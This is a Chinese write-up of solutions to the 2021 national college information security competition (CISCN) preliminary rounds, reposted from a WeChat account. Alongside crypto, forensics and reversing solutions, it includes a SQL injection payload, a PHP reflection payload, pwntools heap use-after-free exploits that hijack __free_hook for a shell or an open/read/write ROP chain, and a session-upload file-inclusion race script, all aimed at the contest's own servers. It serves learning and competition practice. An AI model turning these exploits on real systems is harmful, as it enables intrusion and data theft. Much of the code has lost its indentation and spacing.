本文为2021全国大学生信息安全竞赛初赛部分WP,包含第一场:running_pixel,Easy_sql,Easy_source,Lonelywolf,GLASS;第二场:隔空传话,Middle_source,silverwolf,move,baby.bc;第三场:robot,rsa共12道题目。
-
第一场
-
running_pixel
分离GIF,发现每张图中有像素点,且像素点值为(233,233,233)
from PIL import Image
gif =Image.open(r'C:Users28919Desktoprunning_pixel.gif')
data = []
try:
whileTrue:
image = gif.convert('RGB') if gif.mode== "P"elsegif.copy()
pix = image.load()
for row inrange(400):
for col inrange(400):
ifpix[row,col][0] == 233:
print('{},{}'.format(col,row))
data.append((col,row))
gif.seek(gif.tell()+1)
except:
print('完成!')
image =Image.new("RGB",(400,400))
pix =image.load()
count = 0
last =data[0]
for x,y in data:
ifabs(last[0]-x)>10 orabs(last[1]-y)>10:
image.save('C:\Users\28919\Desktop\result\' +str(count) + '.png')
image = Image.new("RGB",(400,400))
pix = image.load()
count += 1
print(count)
last = (x,y)
pix[x,y] = (255,255,255)
image.save('C:\Users\28919\Desktop\result\' +str(count) + '.png')
-
Easy_sql
登录界面任意输入admin /admin
Burp抓包
根据题目提示sql注入
保存文本sqlmap post注入尝试
pythonsqlmap.py -r " 1.txt" –-dbs
直接得到数据库名
pythonsqlmap.py -r " 1.txt" –dump -D “security”
得到两个表users和flag
Users表中内容为账户密码,flag中为空
任选账户登录出现login
账户密码错误无回显
开始手动注入
使用 ’ 报错
可知使用 ‘) 间隔
使用burp爆破功能fuzz过滤参数
可以发现无法通过注入代码获得列名
使用 join报错注入,通过已知表名注入
一直flag表中含有列id
Payload:admin') and (select *from(select * from flag as a join flag b using(id))c)#
依次爆破后续列名
发现第二列为no
修改payload :admin') and (select * from(select * from flagas a join flag b using(id,no))c)#
得到第三列名
直接sqlmap获取指定字段即可
pythonsqlmap.py -r “1.txt” –dump -C “9dcd9b90-2b03-463f-8b0d-9a149aa09807” -T flag -D security
-
Easy_source
尝试常见文件泄露 发现.index.php.swo
为vim缓存文件
得到代码(非源码)
分析猜测flag是藏在类的注释中,可以通过实例化任意类,并调用类方法,利用PHP内置类中的ReflectionMethod
来读取 User
类里面各个函数的注释构造payload:?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
即
$method= new ReflectionMethod
(User
, a);
var_dump($method->getDocComment
());
由于不知道具体在哪一个函数中,使用burp抓包爆破参数rb
在参数为q时 得到flag。
最终payload:?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
-
Lonelywolf
经典菜单题,发现在删除函数中存在UAF漏洞。
脚本如下:
from pwn import *
#context.log_level = 'debug'
#p = process("./lonelywolf")
p = remote('119.3.222.105',22673)
elf = ELF("./lonelywolf")
libc = ELF("libc-2.27.so")
def add(size):
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline("0")
p.recvuntil("Size: ")
p.sendline("str(size)")
def edit(data):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline("0")
p.recvuntil("Content:")
p.sendline(data)
def show():
p.recvuntil("Your choice:")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline("0")
def delete():
p.recvuntil("Your choice:")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline("0")
def main():
add(0x61)
add(0x61)
add(0x61)
add(0x61)
add(0x61)
add(0x61)
add(0x61)
add(0x61)
add(0x61)
add(0x61)
add(0x70)
delete()
edit(p64(0) * 2)
delete()
show()
p.recvuntil("Content:")
addr_heap =u64(p.recv(6).ljust(8, 'x00')) - 0x7a0
edit(p64(addr_heap + 0x250))
add(0x70)
add(0x70)
edit(p64(0) + p64(0x461))
add(0x70)
delete()
edit(p64(0) * 2)
delete()
edit(p64(addr_heap + 0x260))
add(0x70)
add(0x70)
edit(p64(0) * 2)
delete()
show()
p.recvuntil("Content:")
libc_base =u64(p.recv(6).ljust(8, 'x00')) - libc.sym["__malloc_hook"] - 0x70
add(0x70)
delete()
edit(p64(0) * 2)
delete()
free_hook = libc_base +libc.sym["__free_hook"]
edit(p64(free_hook - 0x8))
add(0x70)
add(0x70)
addr_sys = libc_base +libc.sym["system"]
payload = "/bin/shx00"+ p64(addr_sys)
edit(payload)
delete()
p.interactive()
-
GLASS
1、JEB打开glass.apk
2、发现核心函数在.so里面,IDA打开分析
RC4对flag加密后,然后再一个小异或加密,写脚本解flag即可
key = '12345678'
key2 = [163, 26, 227, 105, 47, 187, 26, 132, 101, 194,
173, 173, 158, 150, 5, 2, 31, 142, 54, 79,
225, 235, 175, 240, 234, 196, 168, 45, 66, 199,
110, 63, 176, 211, 204, 120, 249, 152, 63]
key3 = [146, 40, 208, 93, 26, 141, 45, 188, 84, 240, 158, 153, 171, 160, 50, 58, 46, 188, 5,
123, 212, 221, 152, 200, 219, 246, 155, 25, 119, 241, 89, 7, 129, 225, 255, 76, 204, 174, 8]
for m in range(0, 5):
for i in range(len(key2)):
j = i % 8
fla = key2[i] ^ ord(key[j])
key2[i] = fla
print(key2)
for i in range(0, 39, 3):
key3[i + 1] ^= key3[i]
key3[i + 2] ^= key3[i + 1]
key3[i] ^= key3[i + 2]
print(key3)
c = key3
#[248, 186, 106, 151, 71, 202, 232, 145, 197, 7, 110, 247, 146, 11, 57, 146, 20, 168, 175, 126, 170, 80, 69, 141, 109, 45, 182, 134, 110, 159, 134, 94, 223, 179, 30, 82, 166, 98, 106]
t = []
key = '12345678'
ch = ''
j = 0 # 初始化
s = list(range(256)) # 创建有序列表
for i in range(256):
j = (j + s[i] + ord(key[i % len(key)])) % 256
s[i], s[j] = s[j], s[i]
i = 0 # 初始化
j = 0 # 初始化
for r in c:
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
x = (s[i] + (s[j] % 256)) % 256
ch += chr(r ^ s[x])
print(ch)
# CISCN{6654d84617f627c88846c172e0f4d46c}
-
第二场
-
隔空传话
经过搜索得知数据为PDU数据,数据解析网站 http://www.sendsms.cn/pdu/
解密第二段数据得到:
批量解析数据,网页控制台执行:
处理数据按时间排序
保存成图片,尝试修复宽高得到flag。
得出CISCN{15030442_b586_4c9e_b436_26def12293e4}
-
Middle_source
变量field不可控
考虑其他方向
通过查找发现.listing文件
进入you_can_seeeeeeee_me.php
为phpinfo()
通过查看找到seesion存储位置
/var/lib/php/sessions/cecbhidbcc
可利用利用session.upload_progress进行文件包含
已知文件绝对路径通过cf参数文件包含
通过查看disable
可以看到大多数命令被过滤
直接使用php var_dump(glob(“/”))
依次爆破表
通过修改
爆破
依次爆破下一阶段即可
最终得到flag具体路径
/etc/ecacjdhcgd/icbccebhjh/ehhfbfcadg/fbbhedhefd/jaeedhgcfc/fl444444g
再使用higlight_file直接读取即可
附解题脚本:
import io
import requests
import threading
sessid = 'OTL'
data = {'cf': '../../../../../var/lib/php/sessions/hadabjeacc/sess_'+ sessid}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024* 50)
resp = session.post('http://119.3.222.105:22551/',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?phphighlight_file("/etc/ecacjdhcgd/icbccebhjh/ehhfbfcadg/fbbhedhefd/jaeedhgcfc/fl444444g")?>'}, files={
'file': ('OTL.txt',f)},cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.post('http://119.3.222.105:22551/', data=data)
if 'OTL'in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__ == "__main__":
event = threading.Event()
with requests.session()as session:
threading.Thread(target=write, args=(session,)).start()
threading.Thread(target=read, args=(session,)).start()
event.set()
-
silverwolf
是个UAF漏洞,构造ROP链。
#coding:utf-8
from pwn import *
#context.log_level = 'debug'
elf = ELF('silverwolf')
libc = ELF('./libc-2.27.so')
p = remote('119.3.222.105',22012)
def add(idx,size):
p.recvuntil('Yourchoice: ')
p.sendline('1')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
def edit(idx,content):
p.recvuntil('Yourchoice: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Content: ')
p.sendline(content)
def show(idx):
p.recvuntil('Yourchoice: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
def delete(idx):
p.recvuntil('Yourchoice: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))
for i in range(7):
add(0,0x68)
add(0,0x68)
show(0)
p.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'x00'))-0xf20
delete(0)
edit(0,p64(heap_base + 0xf90))
add(0,0x78)
add(0,0x68)
add(0,0x68)
edit(0,p64(0) + p64(0x431))
for i in range(5):
add(0,0x78)
add(0,0x78)
delete(0)
show(0)
libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x3ebca0
free_hook = libc_base + libc.symbols['__free_hook']
syscall_ret = libc_base + 0x00000000000d2745
system_addr = libc_base + libc.symbols['system']
setcontext = libc_base + libc.sym['setcontext'] + 53
open_addr = libc_base + libc.symbols['openat']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
ret_addr = libc_base + 0x00000000000c14e8
pop_rdi_ret = libc_base + 0x00000000000215bf
pop_rsi_ret = libc_base + 0x0000000000023eea
pop_rdx_ret = libc_base + 0x0000000000001b96
pop_rax_ret = libc_base + 0x0000000000043ae8
pop4_ret = libc_base + 0x000000000011c39b
flag_addr = heap_base + 0x1010
buf_addr = heap_base + 0x1020
add(0,0x18)
delete(0)
edit(0,p64(0))
add(0,0x18)
for i in range(5):
add(0,0x18)
add(0,0x58)
add(0,0x78)
add(0,0x18)
add(0,0x68)
add(0,0x18)
add(0,0x68)
add(0,0x68)
add(0,0x78)
add(0,0x18)
add(0,0x78)
add(0,0x18)
add(0,0x68)
add(0,0x68)
add(0,0x68)
fake_rsp = heap_base + 0x19e0
flag = heap_base + 0x19d0
delete(0)
add(0,0x48)
payload = p64(0)*6 + p64(fake_rsp) + p64(ret_addr) +'./flagx00x00'
edit(0,payload)
add(0,0x78)
payload = p64(pop_rax_ret) + p64(2) + p64(pop_rdi_ret) + p64(flag) +p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall_ret)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) +p64(fake_rsp + 0x200) + p64(ret_addr) + p64(pop4_ret)
edit(0,payload)
add(0,0x78)
payload = p64(0)*3 + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)+ p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(fake_rsp + 0x200) +p64(pop_rdx_ret) + p64(0x100) + p64(write_addr)
edit(0,payload)
add(0,0x28)
delete(0)
edit(0,p64(free_hook))
add(0,0x28)
add(0,0x28)
edit(0,p64(setcontext))
add(0,0x68)
delete(0)
p.interactive()
得到flag
-
move
先求xy的值
80263253261445006152401958351371889864136455346002795891511487600252909606767728751977033280031100015044527491214958035106007038983560835618126173948587479951247946411421106848023637323702085026892674032294882180449860010755423988302942811352582243198025232225481839705626921264432951916313817802968185697281
67595664083683668964629173652731210158790440033379175857028564313854014366016864587830963691802591775486321717360190604997584315420339351524880699113147436604350832401671422613906522464334532396034178284918058690365507263856479304019153987101884697932619200538492228093521576834081916538860988787322736613809
使用一半的值
matrix求解
获得x和y的单独取值
二分法爆破
利用方程求解pq
最后解出P
x,y=26279444166664821795077701675621823220865336004430428203703688888211697122228,22131877391133483964429946329193825460775374851078084751208971056041193500203
p=7137110102022535123348664656689848983548191256934755709215236325084864398993149288243244941561397379979025441681860286823605147363784020425000696750337273
x,y=6785035174838834841914183175930647480879288136014127270387869708755060512201304812721289604897359441373759673837533885681257952731178067761309151636485456082277426056629351492198510336245951408977207910307892423796711701271285060489337800033465030600312615976587155922834617686938658973507383512257481837605,38233052047321946362283579951524857528047793820071079629483638995357740390030253046483152584725740787856777849310333417930989050087087487329435299064039690255526263003473139694460808679743076963542716855777569123353687450350073011620347635639646034793626760244748027610309830233139635078417444771674354527028
最后利用椭圆曲线进行求解
CISCN{e91fef4ead7463b13d00bda65f540477}
-
baby.bc
然后剩下的就是对5 * 5的矩阵某些行和列之间的数据做了一些限制经分析
慢慢分析,写出
14253
53142
35421
21534
42315
然后输入的数据为:1425353142350212150442315
转为MD5为:8a04b4597ad08b83211d3adfa1f61431
flag为:CISCN{8a04b4597ad08b83211d3adfa1f61431}
-
第三场
-
robot
下载附件,安装RobotStudio打开Robot.rspag
运行Robot Control.exe,发现可以连接RobotStudio,
画图抓包分析流量,对比发现坐标位置
提取题目给的流量包中的数据,用正则匹配坐标
import re
f = open('robot.txt')
strs =f.read()
res =re.findall(r'tgPos{[0-9]+}.Value.[[0-9]+,[0-9]+,[0-9]+]', strs)
for x in res:
print(x)
根据得到的坐标画图得到flag
from PIL import Image
import re
x = 400
y = 400
im = Image.new("RGB", (x, y))
n = 0
with open('robot2.txt', 'r') as file:
for line in file:
n = n + 1
line = re.search(r'[(.*?)]', line)[1]
print(line)
llll = list(map(int,line.split(',')))
im.putpixel((llll[0], llll[1]), (255,255, 255))
im.show()
md5加密即为flag
CISCN{d4f1fb80bc11ffd722861367747c0f10}
-
rsa
分段对msg1、msg2、msg3进行求解
msg1为低加密质数攻击
msg2为共模攻击
msg3得到p的高位
对msg3首先求解p的真实值
使用下列脚本:此处fake_p为直接取p<<200
在sage中运行得到正确p值
n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147
p_fake = 11437038763581010263116493983733546014403343859218003707512796706928880848035239990740428334090131840660678236688392471522870443090746835944970392438833152
pbits = 1600
kbits = 200
pbar = p_fake & (2^pbits-2^kbits)
print "upper %d bits(of %d bits) is given" % (pbits-kbits, pbits)
PR.<x> =PolynomialRing(Zmod(n))
f = x + pbar
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
print int(x0 + pbar)
然后使用整合脚本求出三段具体内容并拼接在文本文件中
脚本如下:
from gmpy2 importinvert
import libnum, gmpy2, time
from Crypto.Util.number import*
#miwen
c = 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893
e = 3
n = 123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009
for i in xrange(2000000000):
if gmpy2.iroot(c+ n * i, 3)[1] == True:
m_1 = gmpy2.iroot(c +n * i, 3)[0]
m_1 = long_to_bytes(m_1)
break
def gongmogongji(n, c1, c2, e1, e2):
def egcd(a, b):
if b == 0:
return a, 0
else:
x, y = egcd(b, a % b)
return y, x- (a // b) *y
s = egcd(e1, e2)
s1 = s[0]
s2 = s[1]
if s1 < 0:
s1 = - s1
c1 = invert(c1, n)
elif s2 <0:
s2 = - s2
c2 = invert(c2, n)
m = pow(c1, s1, n) * pow(c2, s2, n) % n
return m
n = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977
e1 = 65537
e2 = 17
c1 = 91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950
c2 = 54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610
m_2 = long_to_bytes(gongmogongji(n, c1, c2, e1, e2))
n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147
p = 11437038763581010263116493983733546014403343859218003707512796706928880848035239990740428334091106443982769386517753703890002478698418549777553268906496423
q = n / p
e = 65537
d = gmpy2.invert(e, (p-1)*(q-1))
c = 59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646
m = pow(c, d, n)
m_3 = long_to_bytes(m)
with open("./mingwen.txt", "wb+") as f:
f.write(m_1 + m_2 + m_3)
print ("OK")
得到文件,直接计算文件md5值即可,添加CISCN{}格式得到flag
本文始发于微信公众号(青科信安):2021全国大学生信息安全竞赛初赛部分WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论